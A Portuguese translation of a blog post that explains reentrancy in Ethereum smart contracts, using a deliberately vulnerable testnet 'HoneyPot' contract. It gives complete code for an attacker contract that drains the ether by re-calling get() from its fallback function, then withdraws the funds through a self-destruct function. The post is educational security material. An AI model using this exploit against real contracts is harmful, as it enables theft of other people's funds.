Ataque de reentrância em contratos inteligentes: como identificar o explorável e um exemplo de ataque
Codificar contratos inteligentes certamente não é brincadeira. Um bug introduzido no código custa dinheiro e muito provavelmente não só o seu dinheiro, mas também o de outras pessoas. A realidade é que o ecossistema Ethereum ainda está em sua infância, mas está crescendo e os padrões estão sendo definidos e redefinidos a cada dia, portanto é preciso estar sempre atualizado e aproximar-se das melhores práticas de segurança de contratos inteligentes.
Como estudante de segurança de contratos inteligentes, tenho estado atento a vulnerabilidades em código. Chamou a minha atenção esse contrato implantado para testnet.
pragma solidity ^0.4.8;
contract HoneyPot {
mapping (address => uint) public balances;
function HoneyPot() payable {
put();
}
function put() payable {
balances[msg.sender] = msg.value;
}
function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}
function() {
throw;
}
}
O contrato HoneyPot
acima continha originalmente 5 ethers e foi deliberadamente concebido para ser invadido. Nesta postagem do blog, quero compartilhar com vocês como ataquei este contrato e 'coletei' a maior parte de seu ether.
O Contrato Vulnerável
O objetivo do contrato HoneyPot
acima é manter um registro de saldos para cada endereço que put()
ether no mesmo. Ele também permite que um endereço get()
esse ether e o deposite nele.
Vejamos as partes mais interessantes deste contrato:
mapping (address => uint) public balances;
O código acima mapeia um valor e o armazena em uma variável pública chamada balances
. Ele permite verificar o saldo do HoneyPot para um endereço.
balances[0x675dbd6a9c17E15459eD31ADBc8d071A78B0BF60]
A função put()
abaixo é onde o armazenamento do valor do ether acontece no contrato. Observe que aqui o msg.sender
é o endereço do remetente da transação.
function put() payable {
balances[msg.sender] = msg.value;
}
A seguir, encontraremos a função onde o explorável está. O objetivo desta função é deixar que os endereços retirem o valor de ether que eles têm em HoneyPot
como saldo.
function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}
Onde está o explorável e como alguém pode atacá-lo, você se pergunta? Verifique novamente estas linhas de código :
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
O contrato HoneyPot define o valor do saldo do endereço como zero somente depois de verificar se o envio do ether para o msg.sender
foi feito.
E se houver um contrato AttackContract que engana o HoneyPot para que ele pense que ainda tem ether para retirar antes que o saldo da AttackContract seja fixado em zero. Isto pode ser feito de forma recorrente e o nome para isto é ataque de reentrância.
Vamos criar um.
Aqui está o código completo do contrato. Vou tentar explicar o melhor possível suas partes.
pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}
function kill () {
suicide(msg.sender);
}
function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}
function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
}
As primeiras linhas estão basicamente atribuindo o compilador de solidity a ser usado com o contrato. Depois importamos o contrato HoneyPot
que coloquei em um arquivo separado. Note que o HoneyPot
é referenciado em todo o contrato HoneyPotCollect
. E criamos a base do contrato que chamamos HoneyPotCollect
.
pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
HoneyPot public honeypot;
...
}
Depois definimos a função do construtor. Esta é a função que é chamada quando a HoneyPotCollect
é criada. Note que passamos um endereço para esta função. Este endereço será o endereço do contrato HoneyPotCollect
.
function HoneyPotCollect (address _honeypot) {
honeypot = HoneyPot(_honeypot);
}
A próxima função é a função kill. Quero retirar o ether do contrato HoneyPot
para o contrato HoneyPotCollect
. Entretanto, quero também levar o ether coletado para um endereço que eu possua. Portanto, acrescento um mecanismo para destruir o HoneyPotCollect
e envio todo o ether nele contido para o endereço que chama a função kill.
function kill () {
suicide(msg.sender);
}
A seguinte função é a que ativará o ataque de reentrância. Ela coloca algum ether no HoneyPot
e logo após isso, ela o recebe.
function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}
O termo pagável aqui diz à Máquina Virtual Ethereum que ela permite receber ether. Invoque esta função também com algum ether.
A última função é o que é conhecido como a função fallback. Esta função sem nome é chamada sempre que o contrato HoneyPotCollect recebe ether.
function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}
É aqui que ocorre o ataque de reentrância. Vamos ver como.
O Ataque
Depois de distribuir o HoneyPotCollect, chame a collect()
e envie com ela algum ether.
A função HoneyPot get()
envia ether para o endereço que o chamou somente se este contrato tiver algum ether em saldo. Quando HoneyPot
envia ether para HoneyPotCollect
, a função fallback é acionada. Se o saldo do HoneyPot
for maior que o valor para o qual foi enviado, a função fallback chama novamente a função get()
e o ciclo se repete.
Lembre-se de que dentro da função get()
o código que estabelece o saldo a zero só vem depois de enviar a transação. Isto engana o contrato HoneyPot
a enviar dinheiro para o endereço HoneyPotCollect
repetidamente até que o HoneyPot
esgote quase todo seu ether.
Experimente você mesmo. Deixei 1 ether de teste neste contrato para que outros possam experimentá-lo por conta própria. Se você não vê mais nenhum ether lá, então é porque alguém já o atacou antes de você.
Eu criei originalmente este código para o HoneyPotAttack
utilizando a framework Truffle. Aqui está o código, caso você precise dele para referência. Aproveite!
Este Artigo foi escrito por Gustavo ( Gus ) Guimarães e traduzido para o português por Rafael Ojeda
Você pode ler o Artigo original em inglês aqui
Latest comments (0)